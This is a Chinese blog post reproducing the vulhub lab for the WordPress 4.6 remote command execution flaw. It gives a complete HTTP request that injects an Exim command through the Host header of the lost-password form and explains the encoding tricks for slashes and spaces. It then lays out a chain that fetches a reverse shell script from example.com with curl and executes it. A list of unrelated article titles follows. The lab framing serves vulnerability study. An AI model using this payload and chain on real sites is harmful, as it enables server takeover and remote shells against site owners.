当前位置: 首页 > news >正文

vulhub中Wordpress 4.6 任意命令执行漏洞复现

由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://your-ip:8080/打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。

发送如下数据包,可见/tmp/success已经成功创建:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=admin

但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:

  1. 执行的命令不能包含大量特殊字符,如:、引号等。

  2. 命令会被转换成小写字母

  3. 命令需要使用绝对路径

  4. 需要知道某一个存在的用户的用户名

为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格的方法。

但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。

所以,总体来说利用过程如下:

  • 编写反弹shell的exp,放到某个网页里。有如下要求:

    • 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径

    • 访问该网页不能跳转,因为follow跳转的参数是-L(大写)

  • 拼接成命令/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce

  • 将上述命令中的空格和/转换成${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}

  • 拼接成HTTP包的Host头:target(any -froot@localhost -be ${run{command}} null)

  • 依次发送这两个拼接好的数据包

http://www.lryc.cn/news/313462.html

相关文章:

  • ETCD分布式缓存
  • 【Linux】iftop命令详解
  • 【蓝桥杯】Excel地址
  • Spring Boot 生成与解析Jwt
  • 安卓Java面试题11-20
  • SSL 证书,了解一下常识
  • react tab选项卡吸顶实现
  • 【数据结构】二、线性表:6.顺序表和链表的对比不同(从数据结构三要素讨论:逻辑结构、物理结构(存储结构)、数据运算(基本操作))
  • Golang单例模式学习笔记
  • Leetcode HOT150
  • 仿牛客项目Day1
  • Effective C++ 学习笔记 条款17 以独立语句将newed对象置入智能指针
  • 通过Electron打包前端项目为exe
  • 大模型时代企业知识全生命周期管理解决方案
  • C#冒泡排序算法
  • 【前端寻宝之路】总结学习使用CSS的引入方式
  • Python中输入输出函数input和print用法
  • 简单认识Linux
  • javascript正则深入
  • React-封装自定义Hook
  • Spark实战-基于Spark日志清洗与数据统计以及Zeppelin使用
  • Springboot中Redis的配置使用
  • 【node版本问题】运行项目报错 PostCSS received undefined instead of CSS string
  • Spring揭秘:BeanDefinitionRegistry应用场景及实现原理!
  • 蓝桥杯(3.5)
  • 434G数据失窃!亚信安全发布《勒索家族和勒索事件监控报告》
  • 7-18 彩虹瓶(Python)
  • php使用ElasticSearch
  • wpf prism左侧抽屉式菜单
  • 揭秘AI新纪元:近期人工智能发展的惊人突破与未来展望